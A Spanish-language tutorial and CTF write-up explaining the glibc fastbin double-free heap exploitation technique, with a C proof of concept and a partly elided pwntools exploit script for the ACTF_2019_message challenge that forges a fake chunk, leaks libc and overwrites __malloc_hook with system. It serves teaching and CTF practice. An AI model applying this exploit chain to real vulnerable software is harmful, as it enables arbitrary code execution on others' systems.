La técnica de Fastbin Double Free es un método clásico de explotación de montículo (heap) en sistemas Linux que utilizan glibc (específicamente versiones como la 2.23 y anteriores). Esta vulnerabilidad permite a un atacante engañar al gestor de memoria para que devuelva un puntero a una dirección de memoria arbitraria, lo que puede derivar en la ejecución remota de código o escalada de privilegios.
Mecanismo de la Vulnerabilidad
Los fastbins son listas enlazadas simples que almacenan fragmentos de memoria (chunks) liberados de tamaño pequeño para ser reutilizados rápidamente. Estas listas funcionan bajo el principio LIFO (Last-In, First-Out). Cuando se libera un chunk, se añade al principio de la lista correspondiente a su tamaño.
Un Double Free ocurre cuendo se libera la misma zona de memoria dos veces. Si logramos liberar un chunk A, luego un chunk B, y nuevamente el chunk A, la lista de fastbins se verá así: A -> B -> A. Esto crea un ciclo. Al solicitar memoria nuevamente, el sistema nos entregará A, permitiéndonos modificar su puntero fd (forward pointer) para que apunte a una dirección falsa, logrando así una escritura en una ubicación controlada.
Ejemplo de Concepto
El siguiente código demuestra cómo se genera la corrupción en un entorno con glibc 2.23:
#include <stdio.h>
#include <stdlib.h>
int main() {
// Inicialización de punteros
void *bloque_a = malloc(0x18);
void *bloque_b = malloc(0x18);
void *bloque_c = malloc(0x18);
// Evitamos el chequeo de seguridad liberando un bloque intermedio
free(bloque_a);
free(bloque_b);
free(bloque_a);
// Al solicitar de nuevo, el sistema devuelve las mismas direcciones
void *r1 = malloc(0x18);
void *r2 = malloc(0x18);
void *r3 = malloc(0x18);
printf("1ra asignación: %p\n", r1);
printf("2da asignación: %p\n", r2);
printf("3ra asignación (Duplicada): %p\n", r3);
return 0;
}
Restricciones y Controles de Seguridad
Para que esta técnica sea efectiva, se deben superar dos validaciones principales integradas en glibc:
- Fasttop Check: El gestor de memoria verifica que el chunk que se está liberando no sea el mismo que se encuentra actualmente en la parte superior del bin. Por eso se requiere liberar un bloque intermedio (
A -> B -> A). - Size Check: Al extraer un chunk del fastbin (vía
malloc), el sistema valida que el campo de tamaño (size) del chunk en esa posición coincida con el índice del bin. Si intentamos apuntar a una dirección arbitraria, debemos asegurarnos de que en esa posición exista un valor que simule un tamaño de chunk válido para ese bin.
Análisis de Caso: ACTF_2019_message
En este desafío de CTF, el binario permite crear, editar, ver y eliminar mensajes (chunks). Se identifica que al eliminar un mensaje, el puntero se libera pero el índice de tamaño se gestiona de forma que permite manipular los metadatos.
Estrategia de Explotación
- Preparación del Montículo: Se resrevan varios chunks de tamaño fastbin.
- Generación del Ciclo: Se realiza la secuencia de liberación
free(idx_1),free(idx_2),free(idx_1)para corromper la lista. - Envenenameinto del Puntero: Se solicita un nuevo chunk y se escribe en su contenido la dirección de una zona de memoria donde podamos controlar un "falso tamaño". En este caso, se apunta cerca de la tabla de punteros global.
- Fuga de Información (Leaking): Una vez que tenemos control sobre la tabla de punteros, podemos leer direcciones de la GOT para calcular el desplazamiento de
libcy localizar funciones comosystem. - Escritura de Hook: Se sobreescribe
__malloc_hooko__free_hookcon la dirección desystemo un one_gadget.
Script de Explotación (Pwntools)
from pwn import *
def add_msg(size, data):
target.sendlineafter(b'choice: ', b'1')
target.sendlineafter(b'message:\n', str(size).encode())
target.sendlineafter(b'message:\n', data)
def del_msg(idx):
target.sendlineafter(b'choice: ', b'2')
target.sendlineafter(b'delete:\n', str(idx).encode())
def show_msg(idx):
target.sendlineafter(b'choice: ', b'4')
target.sendlineafter(b'display:\n', str(idx).encode())
target = process('./ACTF_2019_message')
elf = ELF('./ACTF_2019_message')
# Paso 1: Double Free para obtener control
add_msg(0x70, b'A' * 8) # idx 0
add_msg(0x70, b'B' * 8) # idx 1
del_msg(0)
del_msg(1)
del_msg(0)
# Paso 2: Apuntar a la zona de datos global (0x602060)
# Se busca un valor que sirva como tamaño de fastbin (0x7f)
fake_chunk = 0x602058
add_msg(0x70, p64(fake_chunk))
add_msg(0x70, b'C' * 8)
add_msg(0x70, b'D' * 8)
add_msg(0x70, b'E' * 8) # Este chunk ahora solapa con la gestión de memoria
# Paso 3: Leak de libc
show_msg(4)
# ... lógica para parsear la dirección de la base de libc ...
# Paso 4: Redirección del flujo de ejecución
# Sobreescribir __malloc_hook con system
# add_msg(0x70, p64(libc.sym['system']))
target.interactive()
Este ataque demuestra la importancia de limpiar los punteros después de una liberación (asignándoles NULL) y de utilizar versiones actualizadas de glibc que incluyen protecciones más robustas como el tcache y verificaciones de integridad adicionales.